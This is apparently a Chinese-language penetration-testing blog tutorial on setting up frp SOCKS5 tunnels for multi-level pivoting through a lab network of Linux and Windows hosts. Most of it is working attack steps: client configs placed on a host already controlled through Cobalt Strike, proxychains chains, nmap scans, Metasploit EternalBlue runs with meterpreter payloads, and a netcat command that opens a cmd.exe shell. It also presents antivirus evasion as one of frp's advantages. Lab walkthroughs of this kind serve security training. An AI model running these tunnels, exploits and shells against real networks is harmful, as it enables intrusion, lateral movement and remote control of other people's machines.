前沿
上篇主要讲一些常见的隧道搭建方法,比较常见的lck端口转发,ew隧道,nc隧道都有复现,
这篇我会完整的复现我比较常用的frp隧道搭建,包括怎么从一级代理到二级代理,以及环境配置
技多不压身,学习渗透总要多学习一些方法,对于我们总是好的
若是文章有错误或者不足,请多多指正
frp隧道代理
简介
搭建frp服务器进行内网穿透,可用且推荐,可以达到不错的速度,且理论上可以开放任何想要的端口,可以实现的功能远不止远程桌面或者文件共享。
frp就是一个反向代理软件,它体积轻量但功能很强大,可以使处于内网或防火墙后的设备对外界提供服务 ,它支持HTTP、TCP、UDP等众多协议。我们今天仅讨论TCP和UDP相关的内容
frp知识
下载地址
https://github.com/fatedier/frp/releases
从一级代理到三级代理都完整写下每一个步骤 (使用frp的时候,必须分清楚是32位的还是64位的,win的和linux使用方法也不一样) frp分为客户端和服务端,要严格分清楚
(linux的系统需要先给执行权限,再frp执行命令。Windows的直接frps -c frps.ini就行)
chmod +x frps //给执行权限
./frps -c frps.ini //举例子,要结合实际
配置文件扩展
按需求可以自己添加上
bind_addr = #绑定的ip,为本机
bind_port = #绑定的端口
dashboard_addr = #管理地址
dashboard_port = #管理端口
dashboard_user = #管理的用户名
dashboard_pwd = #管理用户的密码
token = #客户端服务端连接的密码
heartbeat_timeout = #心跳超时时间
max_pool_count = #最大同时连接数
frp优点
- 免杀
- 命令简单
(不管几级代理frp命令都是: 服务端的exe文件 -c 服务端配置文件)
-
逻辑简单
-
frp只走socks5的代理
(socks5比较稳定,支持协议比socks4多 ,流量转发也快)
一级代理
一级代理比较简单,分别配置客户端以及服务端文件就行
环境
我使用45.x.x.97作为我的vps 另一个以己经在cs上线的web服务器来作为演示
演示
文件配置
靶机:
# frpc.ini
[common]
server_addr = 45.x.x.97
server_port = 11000
[http_proxy]
type = tcp
remote_port = 11666
plugin = socks5
VPS:
# frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 11000
开启顺序 先在VPS建立服务端 然后在靶机开启客户端
VPS 先编辑好frps.ini文件
![]()
上传,运行 (linux的系统需要先给执行权限,再frp执行命令。Windows的直接frps -c frps.ini就行)
chmod +x frps 给执行权限
./frps -c frps.ini
靶机 编辑好文件
![]()
cs上传文件
//1proxy是存放代理文件的文件夹名
![]()
一级代理成功
!
代理成功,使用proxy测试 ip:45.x.x.97 端口;11666
![]()
二级代理
二级代理环境和三级代理的环境需要自己配置,或者实战需要也可以
网络环境
Kali 192.168.1.53 桥接模式
vps 149.129.65.126
centos 192.168.1.63 桥接模式
192.168.111.63 NAT模式
Win7-1 192.168.111.57 NAT模式
192.168.88.57 仅主机模式
Win7-2 192.168.88.58 仅主机模式
演示
Centos 映射socks5代理到VPS:9999端口使Kali(攻击者)可访问内网111网段
Win7-1映射socks5代理到Centos:8888端口,使Kali(攻击者)可访问88网段。
Kali通过VPS999端口访问111然后通过8888端口访问88网段资源。攻击88.58
建立centos和VPS之间的socks5代理。
root@VPS:~/frp_0.33.0_linux_amd64# vim free.ini
[common]
bind_port = 7000
authentication_method = token
token = xuegod123456
root@VPS:~/frp_0.33.0_linux_amd64# ./frps -c free.ini
Centos frpc配置
[root@xuegod63 frp_0.33.0_linux_amd64]# vim frpc.ini
[common]
server_addr = 149.129.65.126
server_port = 7000
token = xuegod123456
[socks9999]
type = tcp
remote_port = 9999
plugin = socks5
use_encryption = true
use_compression = true
[root@xuegod63 frp_0.33.0_linux_amd64]# ./frpc -c frpc.ini
Kali配置代理链
(rootxuegod53)-[~]
# vim /etc/proxychains4.conf
socks5 149.129.65.126 9999
可以访问111网段的所有资源。
# proxychains4 nmap -Pn -sT -p 445 192.168.111.57
![]()
不能访问88网段所有的资源。我们前面可以通过centos直接访问88网段是因为我们基于centos的session配置了路由才可以访问目标。
# proxychains4 nmap -Pn -sT -p 445 192.168.88.57
![]()
通过二级代理实现88网段的访问。Win7-1映射socks5代理到Centos。
[root@xuegod63 frp_0.33.0_linux_amd64]# vim f2.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
[root@xuegod63 frp_0.33.0_linux_amd64]# ./frps -c f2.ini
Win7-1
frpc.ini配置文件内容
[common]
server_addr = 192.168.111.63
server_port = 7000
[socks5_8888]
type = tcp
remote_port = 8888
plugin = socks5
use_encryption = true
use_compression = true
C:\frp_0.33.0_windows_amd64\frp_0.33.0_windows_amd64>frpc.exe -c frpc.ini
配置代理链,这里写新增centos的ip地址可以写1网段或者111都可以。
(rootxuegod53)-[~]
# vim /etc/proxychains4.conf
[ProxyList]
socks5 149.129.65.126 9999
socks5 192.168.111.63 8888
# proxychains4 nmap -Pn -sT -p 445 192.168.88.57
proxychains4 nmap -Pn -sT -p 445 192.168.88.58
# proxychains msfdb run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.88.58
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
meterpreter > ifconfig
总结:使用socks5代理建立二级代理无需设置路由即可访问整个网段资源。payload依旧建议使用Bind类型。
三级代理
做之前我们不要动前面的二级代理环境,退出MSF即可。
meterpreter > exit
msf6 exploit(windows/smb/ms17_010_eternalblue) > exit
网络环境
Kali 192.168.1.53 桥接模式
vps 149.129.65.126
Centos 192.168.1.63 桥接模式
192.168.111.63 NAT模式
Win7-1 192.168.111.57 NAT模式
192.168.88.57 仅主机模式
Win7-2 192.168.88.58 仅主机模式
新增 192.168.77.58 仅主机模式
通常来说我们应该加一台机器,但是机器开太多我们配置不够,所以直接在Win7-2添加一个新网段的网卡就可以了。 实现过程: Centos 映射socks5代理到VPS:9999端口使Kali(攻击者)可访问内网111网段
Win7-1映射socks5代理到Centos:8888端口,使Kali(攻击者)可访问88网段。
Win7-2映射socks5代理到Win7-1: 7777端口,使Kali(攻击者)可访问77网段
添加一张虚拟网卡。
这边VMnet名称自动的直接确定即可。
修改网段为77
![]()
Win7-2添加网卡
选择VMnet2 刚刚创建的网络。
给我们新增的网卡配置IP地址。
Win7-1配置frps
frps.ini配置文件
[common]
bind_addr = 0.0.0.0
bind_port = 7000
启动frps
C:\frp_0.33.0_windows_amd64\frp_0.33.0_windows_amd64>frps.exe -c frps.ini
Win7-2配置frpc
frpc.ini配置文件
[common]
server_addr = 192.168.88.57
server_port = 7000
[socks5_7777]
type = tcp
remote_port = 7777
plugin = socks5
use_encryption = true
use_compression = true
启动frpc
C:\frp_0.33.0_windows_amd64\frp_0.33.0_windows_amd64>frpc.exe -c frpc.ini
配置代理链
(rootxuegod53)-[~]
# vim /etc/proxychains4.conf
[ProxyList]
socks5 149.129.65.126 9999
socks5 192.168.111.63 8888
socks5 192.168.88.57 7777
扫描77.58的445
# proxychains4 nmap -Pn -sT -p 445 192.168.77.58
# proxychains msfdb run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.77.58
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
排错: 如果看到访问192.168.77.58 time out 直接重新run,因为攻击如果没有成功77.58就不会侦听4444端口,所以此时可以到Win7-2看一下4444端口是否开启。如果没有开启说明exp利用没有成功。
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
![]()
meterpreter > ifconfig
注:通常frp内网穿透用nc做实验会比较方便一些,msf利用的话有一些不可控因素,比如exp是否执行成功。个别网络原因无法通过MSF验证的同学建议使用nc
kali中nc位置:/usr/share/windows-binaries/nc.exe
例如: Win7-2
C:\Users\Administrator>nc -Ldp 443 -e cmd.exe
Kali
(rootxuegod53)-[~]
# proxychains nc -v 192.168.77.59 443
![]()
C:\Users\Administrator>ipconfig
Linux中代理链使用proxychains
Windows中代理链使用Proxifier